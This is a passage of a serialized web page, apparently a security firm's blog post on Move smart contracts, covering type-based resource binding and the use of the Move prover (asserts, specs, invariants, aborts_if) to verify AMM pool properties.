get_price",{"type":25,"tag":201,"props":9042,"children":9043},{"style":220},[9044],{"type":31,"value":298},{"type":25,"tag":201,"props":9046,"children":9047},{"style":246},[9048],{"type":31,"value":9049},"type_info",{"type":25,"tag":201,"props":9051,"children":9052},{"style":261},[9053],{"type":31,"value":5997},{"type":25,"tag":201,"props":9055,"children":9056},{"style":4925},[9057],{"type":31,"value":9058}," TypeInfo",{"type":25,"tag":201,"props":9060,"children":9061},{"style":220},[9062],{"type":31,"value":3073},{"type":25,"tag":201,"props":9064,"children":9065},{"style":261},[9066],{"type":31,"value":5997},{"type":25,"tag":201,"props":9068,"children":9069},{"style":4925},[9070],{"type":31,"value":9071}," Decimal",{"type":25,"tag":201,"props":9073,"children":9074},{"style":246},[9075],{"type":31,"value":9076}," acquires",{"type":25,"tag":201,"props":9078,"children":9079},{"style":4925},[9080],{"type":31,"value":9081}," Oracle",{"type":25,"tag":201,"props":9083,"children":9084},{"style":220},[9085],{"type":31,"value":327},{"type":25,"tag":201,"props":9087,"children":9088},{"class":203,"line":278},[9089,9093,9098,9102,9107,9111,9116,9121,9126,9131],{"type":25,"tag":201,"props":9090,"children":9091},{"style":208},[9092],{"type":31,"value":1897},{"type":25,"tag":201,"props":9094,"children":9095},{"style":246},[9096],{"type":31,"value":9097}," oracle",{"type":25,"tag":201,"props":9099,"children":9100},{"style":261},[9101],{"type":31,"value":413},{"type":25,"tag":201,"props":9103,"children":9104},{"style":246},[9105],{"type":31,"value":9106}," borrow_global_mut",{"type":25,"tag":201,"props":9108,"children":9109},{"style":220},[9110],{"type":31,"value":1298},{"type":25,"tag":201,"props":9112,"children":9113},{"style":4925},[9114],{"type":31,"value":9115},"Oracle",{"type":25,"tag":201,"props":9117,"children":9118},{"style":220},[9119],{"type":31,"value":9120},">(",{"type":25,"tag":201,"props":9122,"children":9123},{"style":261},[9124],{"type":31,"value":9125},"@",{"type":25,"tag":201,"props":9127,"children":9128},{"style":246},[9129],{"type":31,"value":9130},"oracle",{"type":25,"tag":201,"props":9132,"children":9133},{"style":220},[9134],{"type":31,"value":308},{"type":25,"tag":201,"props":9136,"children":9137},{"class":203,"line":311},[9138,9142,9147,9151,9156,9160,9165,9169,9174,9178,9183],{"type":25,"tag":201,"props":9139,"children":9140},{"style":208},[9141],{"type":31,"value":1897},{"type":25,"tag":201,"props":9143,"children":9144},{"style":246},[9145],{"type":31,"value":9146}," price",{"type":25,"tag":201,"props":9148,"children":9149},{"style":261},[9150],{"type":31,"value":413},{"type":25,"tag":201,"props":9152,"children":9153},{"style":220},[9154],{"type":31,"value":9155}," table",{"type":25,"tag":201,"props":9157,"children":9158},{"style":261},[9159],{"type":31,"value":4988},{"type":25,"tag":201,"props":9161,"children":9162},{"style":246},[9163],{"type":31,"value":9164},"borrow_mut_with_default",{"type":25,"tag":201,"props":9166,"children":9167},{"style":220},[9168],{"type":31,"value":1298},{"type":25,"tag":201,"props":9170,"children":9171},{"style":4925},[9172],{"type":31,"value":9173},"TypeInfo",{"type":25,"tag":201,"props":9175,"children":9176},{"style":220},[9177],{"type":31,"value":919},{"type":25,"tag":201,"props":9179,"children":9180},{"style":4925},[9181],{"type":31,"value":9182},"Decimal",{"type":25,"tag":201,"props":9184,"children":9185},{"style":220},[9186],{"type":31,"value":8097},{"type":25,"tag":201,"props":9188,"children":9189},{"class":203,"line":330},[9190,9195,9199,9203,9207],{"type":25,"tag":201,"props":9191,"children":9192},{"style":261},[9193],{"type":31,"value":9194},"            &",{"type":25,"tag":201,"props":9196,"children":9197},{"style":208},[9198],{"type":31,"value":5228},{"type":25,"tag":201,"props":9200,"children":9201},{"style":246},[9202],{"type":31,"value":9097},{"type":25,"tag":201,"props":9204,"children":9205},{"style":261},[9206],{"type":31,"value":80},{"type":25,"tag":201,"props":9208,"children":9209},{"style":220},[9210],{"type":31,"value":9211},"prices,\n",{"type":25,"tag":201,"props":9213,"children":9214},{"class":203,"line":397},[9215,9220],{"type":25,"tag":201,"props":9216,"children":9217},{"style":246},[9218],{"type":31,"value":9219},"            type_info",{"type":25,"tag":201,"props":9221,"children":9222},{"style":220},[9223],{"type":31,"value":547},{"type":25,"tag":201,"props":9225,"children":9226},{"class":203,"line":437},[9227,9232,9236,9241],{"type":25,"tag":201,"props":9228,"children":9229},{"style":220},[9230],{"type":31,"value":9231},"            decimal",{"type":25,"tag":201,"props":9233,"children":9234},{"style":261},[9235],{"type":31,"value":4988},{"type":25,"tag":201,"props":9237,"children":9238},{"style":214},[9239],{"type":31,"value":9240},"one",{"type":25,"tag":201,"props":9242,"children":9243},{"style":220},[9244],{"type":31,"value":1882},{"type":25,"tag":201,"props":9246,"children":9247},{"class":203,"line":464},[9248],{"type":25,"tag":201,"props":9249,"children":9250},{"style":220},[9251],{"type":31,"value":9252},"        );\n",{"type":25,"tag":201,"props":9254,"children":9255},{"class":203,"line":490},[9256,9261],{"type":25,"tag":201,"props":9257,"children":9258},{"style":261},[9259],{"type":31,"value":9260},"        *",{"type":25,"tag":201,"props":9262,"children":9263},{"style":246},[9264],{"type":31,"value":9265},"price\n",{"type":25,"tag":201,"props":9267,"children":9268},{"class":203,"line":499},[9269],{"type":25,"tag":201,"props":9270,"children":9271},{"style":220},[9272],{"type":31,"value":4861},{"type":25,"tag":34,"props":9274,"children":9275},{},[9276,9278,9283],{"type":31,"value":9277},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":25,"tag":65,"props":9279,"children":9280},{},[9281],{"type":31,"value":9282},"instance",{"type":31,"value":9284}," of another resource (which is possible in Diem style move).",{"type":25,"tag":34,"props":9286,"children":9287},{},[9288],{"type":31,"value":9289},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":25,"tag":6944,"props":9291,"children":9292},{},[9293,9298],{"type":25,"tag":6948,"props":9294,"children":9295},{},[9296],{"type":31,"value":9297},"Have unique initializers for your resources",{"type":25,"tag":6948,"props":9299,"children":9300},{},[9301],{"type":31,"value":9302},"Associate resources with instances directly",{"type":25,"tag":26,"props":9304,"children":9306},{"id":9305},"formal-verification",[9307],{"type":31,"value":9308},"Formal Verification",{"type":25,"tag":34,"props":9310,"children":9311},{},[9312],{"type":31,"value":9313},"Formal verification is another exciting feature.",{"type":25,"tag":34,"props":9315,"children":9316},{},[9317],{"type":31,"value":9318},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":25,"tag":34,"props":9320,"children":9321},{},[9322,9324,9329],{"type":31,"value":9323},"However, this isn't a silver bullet. The key is figuring out ",{"type":25,"tag":65,"props":9325,"children":9326},{},[9327],{"type":31,"value":9328},"what",{"type":31,"value":9330}," to prove.",{"type":25,"tag":34,"props":9332,"children":9333},{},[9334,9336,9343],{"type":31,"value":9335},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":25,"tag":71,"props":9337,"children":9340},{"href":9338,"rel":9339},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[75],[9341],{"type":31,"value":9342},"Solana AMM rounding issue",{"type":31,"value":9344}," we reported.",{"type":25,"tag":34,"props":9346,"children":9347},{},[9348],{"type":31,"value":9349},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":25,"tag":191,"props":9351,"children":9353},{"className":4487,"code":9352,"language":4486,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[9354],{"type":25,"tag":115,"props":9355,"children":9356},{"__ignoreMap":7},[9357,9418],{"type":25,"tag":201,"props":9358,"children":9359},{"class":203,"line":204},[9360,9365,9370,9374,9379,9383,9388,9392,9396,9401,9405,9409,9414],{"type":25,"tag":201,"props":9361,"children":9362},{"style":208},[9363],{"type":31,"value":9364},"  let",{"type":25,"tag":201,"props":9366,"children":9367},{"style":246},[9368],{"type":31,"value":9369}," cmp",{"type":25,"tag":201,"props":9371,"children":9372},{"style":261},[9373],{"type":31,"value":413},{"type":25,"tag":201,"props":9375,"children":9376},{"style":220},[9377],{"type":31,"value":9378}," u256",{"type":25,"tag":201,"props":9380,"children":9381},{"style":261},[9382],{"type":31,"value":4988},{"type":25,"tag":201,"props":9384,"children":9385},{"style":214},[9386],{"type":31,"value":9387},"compare",{"type":25,"tag":201,"props":9389,"children":9390},{"style":220},[9391],{"type":31,"value":298},{"type":25,"tag":201,"props":9393,"children":9394},{"style":261},[9395],{"type":31,"value":4615},{"type":25,"tag":201,"props":9397,"children":9398},{"style":246},[9399],{"type":31,"value":9400},"lp_value_after_swap_and_fee",{"type":25,"tag":201,"props":9402,"children":9403},{"style":220},[9404],{"type":31,"value":919},{"type":25,"tag":201,"props":9406,"children":9407},{"style":261},[9408],{"type":31,"value":4615},{"type":25,"tag":201,"props":9410,"children":9411},{"style":246},[9412],{"type":31,"value":9413},"lp_value_before_swap_u256",{"type":25,"tag":201,"props":9415,"children":9416},{"style":220},[9417],{"type":31,"value":308},{"type":25,"tag":201,"props":9419,"children":9420},{"class":203,"line":226},[9421,9426,9430,9435,9439,9444],{"type":25,"tag":201,"props":9422,"children":9423},{"style":214},[9424],{"type":31,"value":9425},"  assert!",{"type":25,"tag":201,"props":9427,"children":9428},{"style":220},[9429],{"type":31,"value":298},{"type":25,"tag":201,"props":9431,"children":9432},{"style":246},[9433],{"type":31,"value":9434},"cmp",{"type":25,"tag":201,"props":9436,"children":9437},{"style":261},[9438],{"type":31,"value":4789},{"type":25,"tag":201,"props":9440,"children":9441},{"style":426},[9442],{"type":31,"value":9443}," 2",{"type":25,"tag":201,"props":9445,"children":9446},{"style":220},[9447],{"type":31,"value":9448},", ERR_INCORRECT_SWAP);\n",{"type":25,"tag":34,"props":9450,"children":9451},{},[9452,9454,9459],{"type":31,"value":9453},"The move prover really shines when we're proving relationships ",{"type":25,"tag":65,"props":9455,"children":9456},{},[9457],{"type":31,"value":9458},"between",{"type":31,"value":9460}," functions.",{"type":25,"tag":34,"props":9462,"children":9463},{},[9464,9466,9472],{"type":31,"value":9465},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":25,"tag":115,"props":9467,"children":9469},{"className":9468},[],[9470],{"type":31,"value":9471},"no_free_money_theorem",{"type":31,"value":9473}," in the move repository.",{"type":25,"tag":191,"props":9475,"children":9477},{"className":4487,"code":9476,"language":4486,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[9478],{"type":25,"tag":115,"props":9479,"children":9480},{"__ignoreMap":7},[9481,9489,9577,9618,9639,9646,9662,9688,9715,9740],{"type":25,"tag":201,"props":9482,"children":9483},{"class":203,"line":204},[9484],{"type":25,"tag":201,"props":9485,"children":9486},{"style":4497},[9487],{"type":31,"value":9488},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":25,"tag":201,"props":9490,"children":9491},{"class":203,"line":226},[9492,9496,9501,9505,9510,9514,9518,9522,9527,9531,9535,9539,9543,9547,9552,9556,9560,9564,9568,9573],{"type":25,"tag":201,"props":9493,"children":9494},{"style":246},[9495],{"type":31,"value":8078},{"type":25,"tag":201,"props":9497,"children":9498},{"style":214},[9499],{"type":31,"value":9500}," no_free_money_theorem",{"type":25,"tag":201,"props":9502,"children":9503},{"style":220},[9504],{"type":31,"value":298},{"type":25,"tag":201,"props":9506,"children":9507},{"style":246},[9508],{"type":31,"value":9509},"coin1_in",{"type":25,"tag":201,"props":9511,"children":9512},{"style":261},[9513],{"type":31,"value":5997},{"type":25,"tag":201,"props":9515,"children":9516},{"style":4925},[9517],{"type":31,"value":7369},{"type":25,"tag":201,"props":9519,"children":9520},{"style":220},[9521],{"type":31,"value":919},{"type":25,"tag":201,"props":9523,"children":9524},{"style":246},[9525],{"type":31,"value":9526},"coin2_in",{"type":25,"tag":201,"props":9528,"children":9529},{"style":261},[9530],{"type":31,"value":5997},{"type":25,"tag":201,"props":9532,"children":9533},{"style":4925},[9534],{"type":31,"value":7369},{"type":25,"tag":201,"props":9536,"children":9537},{"style":220},[9538],{"type":31,"value":3073},{"type":25,"tag":201,"props":9540,"children":9541},{"style":261},[9542],{"type":31,"value":5997},{"type":25,"tag":201,"props":9544,"children":9545},{"style":220},[9546],{"type":31,"value":238},{"type":25,"tag":201,"props":9548,"children":9549},{"style":4925},[9550],{"type":31,"value":9551},"u64",{"type":25,"tag":201,"props":9553,"children":9554},{"style":220},[9555],{"type":31,"value":919},{"type":25,"tag":201,"props":9557,"children":9558},{"style":4925},[9559],{"type":31,"value":9551},{"type":25,"tag":201,"props":9561,"children":9562},{"style":220},[9563],{"type":31,"value":385},{"type":25,"tag":201,"props":9565,"children":9566},{"style":246},[9567],{"type":31,"value":7852},{"type":25,"tag":201,"props":9569,"children":9570},{"style":4925},[9571],{"type":31,"value":9572}," Pool",{"type":25,"tag":201,"props":9574,"children":9575},{"style":220},[9576],{"type":31,"value":327},{"type":25,"tag":201,"props":9578,"children":9579},{"class":203,"line":278},[9580,9584,9589,9593,9598,9602,9606,9610,9614],{"type":25,"tag":201,"props":9581,"children":9582},{"style":208},[9583],{"type":31,"value":505},{"type":25,"tag":201,"props":9585,"children":9586},{"style":246},[9587],{"type":31,"value":9588}," share",{"type":25,"tag":201,"props":9590,"children":9591},{"style":261},[9592],{"type":31,"value":413},{"type":25,"tag":201,"props":9594,"children":9595},{"style":214},[9596],{"type":31,"value":9597}," add_liquidity",{"type":25,"tag":201,"props":9599,"children":9600},{"style":220},[9601],{"type":31,"value":298},{"type":25,"tag":201,"props":9603,"children":9604},{"style":246},[9605],{"type":31,"value":9509},{"type":25,"tag":201,"props":9607,"children":9608},{"style":220},[9609],{"type":31,"value":919},{"type":25,"tag":201,"props":9611,"children":9612},{"style":246},[9613],{"type":31,"value":9526},{"type":25,"tag":201,"props":9615,"children":9616},{"style":220},[9617],{"type":31,"value":308},{"type":25,"tag":201,"props":9619,"children":9620},{"class":203,"line":311},[9621,9626,9630,9635],{"type":25,"tag":201,"props":9622,"children":9623},{"style":214},[9624],{"type":31,"value":9625},"      remove_liquidity",{"type":25,"tag":201,"props":9627,"children":9628},{"style":220},[9629],{"type":31,"value":298},{"type":25,"tag":201,"props":9631,"children":9632},{"style":246},[9633],{"type":31,"value":9634},"share",{"type":25,"tag":201,"props":9636,"children":9637},{"style":220},[9638],{"type":31,"value":4666},{"type":25,"tag":201,"props":9640,"children":9641},{"class":203,"line":330},[9642],{"type":25,"tag":201,"props":9643,"children":9644},{"style":220},[9645],{"type":31,"value":1178},{"type":25,"tag":201,"props":9647,"children":9648},{"class":203,"line":397},[9649,9654,9658],{"type":25,"tag":201,"props":9650,"children":9651},{"style":246},[9652],{"type":31,"value":9653},"  spec",{"type":25,"tag":201,"props":9655,"children":9656},{"style":246},[9657],{"type":31,"value":9500},{"type":25,"tag":201,"props":9659,"children":9660},{"style":220},[9661],{"type":31,"value":327},{"type":25,"tag":201,"props":9663,"children":9664},{"class":203,"line":437},[9665,9670,9675,9679,9684],{"type":25,"tag":201,"props":9666,"children":9667},{"style":246},[9668],{"type":31,"value":9669},"      pragma",{"type":25,"tag":201,"props":9671,"children":9672},{"style":246},[9673],{"type":31,"value":9674}," verify",{"type":25,"tag":201,"props":9676,"children":9677},{"style":261},[9678],{"type":31,"value":1383},{"type":25,"tag":201,"props":9680,"children":9681},{"style":208},[9682],{"type":31,"value":9683},"false",{"type":25,"tag":201,"props":9685,"children":9686},{"style":220},[9687],{"type":31,"value":461},{"type":25,"tag":201,"props":9689,"children":9690},{"class":203,"line":464},[9691,9696,9701,9706,9711],{"type":25,"tag":201,"props":9692,"children":9693},{"style":246},[9694],{"type":31,"value":9695},"      ensures",{"type":25,"tag":201,"props":9697,"children":9698},{"style":246},[9699],{"type":31,"value":9700}," result_1",{"type":25,"tag":201,"props":9702,"children":9703},{"style":261},[9704],{"type":31,"value":9705}," \u003C=",{"type":25,"tag":201,"props":9707,"children":9708},{"style":246},[9709],{"type":31,"value":9710}," coin1_in",{"type":25,"tag":201,"props":9712,"children":9713},{"style":220},[9714],{"type":31,"value":461},{"type":25,"tag":201,"props":9716,"children":9717},{"class":203,"line":490},[9718,9722,9727,9731,9736],{"type":25,"tag":201,"props":9719,"children":9720},{"style":246},[9721],{"type":31,"value":9695},{"type":25,"tag":201,"props":9723,"children":9724},{"style":246},[9725],{"type":31,"value":9726}," result_2",{"type":25,"tag":201,"props":9728,"children":9729},{"style":261},[9730],{"type":31,"value":9705},{"type":25,"tag":201,"props":9732,"children":9733},{"style":246},[9734],{"type":31,"value":9735}," coin2_in",{"type":25,"tag":201,"props":9737,"children":9738},{"style":220},[9739],{"type":31,"value":461},{"type":25,"tag":201,"props":9741,"children":9742},{"class":203,"line":499},[9743],{"type":25,"tag":201,"props":9744,"children":9745},{"style":220},[9746],{"type":31,"value":1178},{"type":25,"tag":34,"props":9748,"children":9749},{},[9750],{"type":31,"value":9751},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":25,"tag":34,"props":9753,"children":9754},{},[9755,9757,9762],{"type":31,"value":9756},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":25,"tag":65,"props":9758,"children":9759},{},[9760],{"type":31,"value":9761},"lot",{"type":31,"value":9763}," easier to reason about the protocol.",{"type":25,"tag":34,"props":9765,"children":9766},{},[9767],{"type":31,"value":9768},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":25,"tag":191,"props":9770,"children":9772},{"className":4487,"code":9771,"language":4486,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[9773],{"type":25,"tag":115,"props":9774,"children":9775},{"__ignoreMap":7},[9776,9793,9816],{"type":25,"tag":201,"props":9777,"children":9778},{"class":203,"line":204},[9779,9784,9789],{"type":25,"tag":201,"props":9780,"children":9781},{"style":246},[9782],{"type":31,"value":9783},"spec",{"type":25,"tag":201,"props":9785,"children":9786},{"style":4925},[9787],{"type":31,"value":9788}," PoolState",{"type":25,"tag":201,"props":9790,"children":9791},{"style":220},[9792],{"type":31,"value":327},{"type":25,"tag":201,"props":9794,"children":9795},{"class":203,"line":226},[9796,9801,9806,9811],{"type":25,"tag":201,"props":9797,"children":9798},{"style":246},[9799],{"type":31,"value":9800},"    invariant",{"type":25,"tag":201,"props":9802,"children":9803},{"style":246},[9804],{"type":31,"value":9805}," supply",{"type":25,"tag":201,"props":9807,"children":9808},{"style":261},[9809],{"type":31,"value":9810}," >=",{"type":25,"tag":201,"props":9812,"children":9813},{"style":220},[9814],{"type":31,"value":9815}," MINIMUM_LIQUIDITY;\n",{"type":25,"tag":201,"props":9817,"children":9818},{"class":203,"line":278},[9819],{"type":25,"tag":201,"props":9820,"children":9821},{"style":220},[9822],{"type":31,"value":1187},{"type":25,"tag":34,"props":9824,"children":9825},{},[9826,9828,9834,9836,9842],{"type":31,"value":9827},"Another useful pattern for the Move prover is ",{"type":25,"tag":115,"props":9829,"children":9831},{"className":9830},[],[9832],{"type":31,"value":9833},"aborts_if",{"type":31,"value":9835},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":25,"tag":115,"props":9837,"children":9839},{"className":9838},[],[9840],{"type":31,"value":9841},"aborts_if false",{"type":31,"value":80},{"type":25,"tag":34,"props":9844,"children":9845},{},[9846],{"type":31,"value":9847},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":25,"tag":191,"props":9849,"children":9851},{"className":4487,"code":9850,"language":4486,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[9852],{"type":25,"tag":115,"props":9853,"children":9854},{"__ignoreMap":7},[9855,9918,9960,9983,10028,10041,10053,10092,10115,10203,10211,10235,10243,10264,10284,10384,10392,10421,10428,10440,10464,10499,10506,10514,10521,10536,10552,10568,10612,10717],{"type":25,"tag":201,"props":9856,"children":9857},{"class":203,"line":204},[9858,9862,9867,9871,9875,9879,9884,9888,9892,9897,9901,9905,9909,9914],{"type":25,"tag":201,"props":9859,"children":9860},{"style":246},[9861],{"type":31,"value":8078},{"type":25,"tag":201,"props":9863,"children":9864},{"style":214},[9865],{"type":31,"value":9866}," multiply_vec_by_n_coins",{"type":25,"tag":201,"props":9868,"children":9869},{"style":220},[9870],{"type":31,"value":298},{"type":25,"tag":201,"props":9872,"children":9873},{"style":246},[9874],{"type":31,"value":1461},{"type":25,"tag":201,"props":9876,"children":9877},{"style":261},[9878],{"type":31,"value":5997},{"type":25,"tag":201,"props":9880,"children":9881},{"style":246},[9882],{"type":31,"value":9883}," vector",{"type":25,"tag":201,"props":9885,"children":9886},{"style":220},[9887],{"type":31,"value":1298},{"type":25,"tag":201,"props":9889,"children":9890},{"style":4925},[9891],{"type":31,"value":9551},{"type":25,"tag":201,"props":9893,"children":9894},{"style":220},[9895],{"type":31,"value":9896},">)",{"type":25,"tag":201,"props":9898,"children":9899},{"style":261},[9900],{"type":31,"value":5997},{"type":25,"tag":201,"props":9902,"children":9903},{"style":246},[9904],{"type":31,"value":9883},{"type":25,"tag":201,"props":9906,"children":9907},{"style":220},[9908],{"type":31,"value":1298},{"type":25,"tag":201,"props":9910,"children":9911},{"style":4925},[9912],{"type":31,"value":9913},"u128",{"type":25,"tag":201,"props":9915,"children":9916},{"style":220},[9917],{"type":31,"value":8790},{"type":25,"tag":201,"props":9919,"children":9920},{"class":203,"line":226},[9921,9925,9930,9934,9938,9942,9947,9951,9955],{"type":25,"tag":201,"props":9922,"children":9923},{"style":208},[9924],{"type":31,"value":505},{"type":25,"tag":201,"props":9926,"children":9927},{"style":246},[9928],{"type":31,"value":9929}," amounts_times_coins",{"type":25,"tag":201,"props":9931,"children":9932},{"style":261},[9933],{"type":31,"value":413},{"type":25,"tag":201,"props":9935,"children":9936},{"style":220},[9937],{"type":31,"value":9883},{"type":25,"tag":201,"props":9939,"children":9940},{"style":261},[9941],{"type":31,"value":4988},{"type":25,"tag":201,"props":9943,"children":9944},{"style":246},[9945],{"type":31,"value":9946},"empty",{"type":25,"tag":201,"props":9948,"children":9949},{"style":220},[9950],{"type":31,"value":1298},{"type":25,"tag":201,"props":9952,"children":9953},{"style":4925},[9954],{"type":31,"value":9913},{"type":25,"tag":201,"props":9956,"children":9957},{"style":220},[9958],{"type":31,"value":9959},">();\n",{"type":25,"tag":201,"props":9961,"children":9962},{"class":203,"line":278},[9963,9967,9971,9975,9979],{"type":25,"tag":201,"props":9964,"children":9965},{"style":208},[9966],{"type":31,"value":505},{"type":25,"tag":201,"props":9968,"children":9969},{"style":246},[9970],{"type":31,"value":4904},{"type":25,"tag":201,"props":9972,"children":9973},{"style":261},[9974],{"type":31,"value":413},{"type":25,"tag":201,"props":9976,"children":9977},{"style":426},[9978],{"type":31,"value":4554},{"type":25,"tag":201,"props":9980,"children":9981},{"style":220},[9982],{"type":31,"value":461},{"type":25,"tag":201,"props":9984,"children":9985},{"class":203,"line":311},[9986,9990,9995,9999,10003,10007,10012,10016,10020,10024],{"type":25,"tag":201,"props":9987,"children":9988},{"style":208},[9989],{"type":31,"value":505},{"type":25,"tag":201,"props":9991,"children":9992},{"style":246},[9993],{"type":31,"value":9994}," n_coins",{"type":25,"tag":201,"props":9996,"children":9997},{"style":261},[9998],{"type":31,"value":413},{"type":25,"tag":201,"props":10000,"children":10001},{"style":220},[10002],{"type":31,"value":9883},{"type":25,"tag":201,"props":10004,"children":10005},{"style":261},[10006],{"type":31,"value":4988},{"type":25,"tag":201,"props":10008,"children":10009},{"style":214},[10010],{"type":31,"value":10011},"length",{"type":25,"tag":201,"props":10013,"children":10014},{"style":220},[10015],{"type":31,"value":298},{"type":25,"tag":201,"props":10017,"children":10018},{"style":261},[10019],{"type":31,"value":4615},{"type":25,"tag":201,"props":10021,"children":10022},{"style":246},[10023],{"type":31,"value":1461},{"type":25,"tag":201,"props":10025,"children":10026},{"style":220},[10027],{"type":31,"value":308},{"type":25,"tag":201,"props":10029,"children":10030},{"class":203,"line":330},[10031,10036],{"type":25,"tag":201,"props":10032,"children":10033},{"style":230},[10034],{"type":31,"value":10035},"      while",{"type":25,"tag":201,"props":10037,"children":10038},{"style":220},[10039],{"type":31,"value":10040}," ({\n",{"type":25,"tag":201,"props":10042,"children":10043},{"class":203,"line":397},[10044,10049],{"type":25,"tag":201,"props":10045,"children":10046},{"style":246},[10047],{"type":31,"value":10048},"          spec",{"type":25,"tag":201,"props":10050,"children":10051},{"style":220},[10052],{"type":31,"value":327},{"type":25,"tag":201,"props":10054,"children":10055},{"class":203,"line":437},[10056,10061,10066,10070,10075,10079,10084,10088],{"type":25,"tag":201,"props":10057,"children":10058},{"style":246},[10059],{"type":31,"value":10060},"              invariant",{"type":25,"tag":201,"props":10062,"children":10063},{"style":214},[10064],{"type":31,"value":10065}," len",{"type":25,"tag":201,"props":10067,"children":10068},{"style":220},[10069],{"type":31,"value":298},{"type":25,"tag":201,"props":10071,"children":10072},{"style":246},[10073],{"type":31,"value":10074},"amounts_times_coins",{"type":25,"tag":201,"props":10076,"children":10077},{"style":220},[10078],{"type":31,"value":385},{"type":25,"tag":201,"props":10080,"children":10081},{"style":261},[10082],{"type":31,"value":10083},"==",{"type":25,"tag":201,"props":10085,"children":10086},{"style":246},[10087],{"type":31,"value":4904},{"type":25,"tag":201,"props":10089,"children":10090},{"style":220},[10091],{"type":31,"value":461},{"type":25,"tag":201,"props":10093,"children":10094},{"class":203,"line":464},[10095,10099,10103,10107,10111],{"type":25,"tag":201,"props":10096,"children":10097},{"style":246},[10098],{"type":31,"value":10060},{"type":25,"tag":201,"props":10100,"children":10101},{"style":246},[10102],{"type":31,"value":4904},{"type":25,"tag":201,"props":10104,"children":10105},{"style":261},[10106],{"type":31,"value":9705},{"type":25,"tag":201,"props":10108,"children":10109},{"style":246},[10110],{"type":31,"value":9994},{"type":25,"tag":201,"props":10112,"children":10113},{"style":220},[10114],{"type":31,"value":461},{"type":25,"tag":201,"props":10116,"children":10117},{"class":203,"line":490},[10118,10122,10127,10132,10136,10140,10144,10148,10152,10156,10160,10165,10170,10174,10179,10183,10187,10191,10195,10199],{"type":25,"tag":201,"props":10119,"children":10120},{"style":246},[10121],{"type":31,"value":10060},{"type":25,"tag":201,"props":10123,"children":10124},{"style":246},[10125],{"type":31,"value":10126}," forall",{"type":25,"tag":201,"props":10128,"children":10129},{"style":246},[10130],{"type":31,"value":10131}," j",{"type":25,"tag":201,"props":10133,"children":10134},{"style":208},[10135],{"type":31,"value":4549},{"type":25,"tag":201,"props":10137,"children":10138},{"style":426},[10139],{"type":31,"value":4554},{"type":25,"tag":201,"props":10141,"children":10142},{"style":261},[10143],{"type":31,"value":4559},{"type":25,"tag":201,"props":10145,"children":10146},{"style":246},[10147],{"type":31,"value":3641},{"type":25,"tag":201,"props":10149,"children":10150},{"style":261},[10151],{"type":31,"value":5997},{"type":25,"tag":201,"props":10153,"children":10154},{"style":246},[10155],{"type":31,"value":9929},{"type":25,"tag":201,"props":10157,"children":10158},{"style":220},[10159],{"type":31,"value":423},{"type":25,"tag":201,"props":10161,"children":10162},{"style":246},[10163],{"type":31,"value":10164},"j",{"type":25,"tag":201,"props":10166,"children":10167},{"style":220},[10168],{"type":31,"value":10169},"] ",{"type":25,"tag":201,"props":10171,"children":10172},{"style":261},[10173],{"type":31,"value":10083},{"type":25,"tag":201,"props":10175,"children":10176},{"style":246},[10177],{"type":31,"value":10178}," input",{"type":25,"tag":201,"props":10180,"children":10181},{"style":220},[10182],{"type":31,"value":423},{"type":25,"tag":201,"props":10184,"children":10185},{"style":246},[10186],{"type":31,"value":10164},{"type":25,"tag":201,"props":10188,"children":10189},{"style":220},[10190],{"type":31,"value":10169},{"type":25,"tag":201,"props":10192,"children":10193},{"style":261},[10194],{"type":31,"value":6077},{"type":25,"tag":201,"props":10196,"children":10197},{"style":246},[10198],{"type":31,"value":9994},{"type":25,"tag":201,"props":10200,"children":10201},{"style":220},[10202],{"type":31,"value":461},{"type":25,"tag":201,"props":10204,"children":10205},{"class":203,"line":499},[10206],{"type":25,"tag":201,"props":10207,"children":10208},{"style":220},[10209],{"type":31,"value":10210},"          };\n",{"type":25,"tag":201,"props":10212,"children":10213},{"class":203,"line":522},[10214,10219,10223,10227,10231],{"type":25,"tag":201,"props":10215,"children":10216},{"style":220},[10217],{"type":31,"value":10218},"          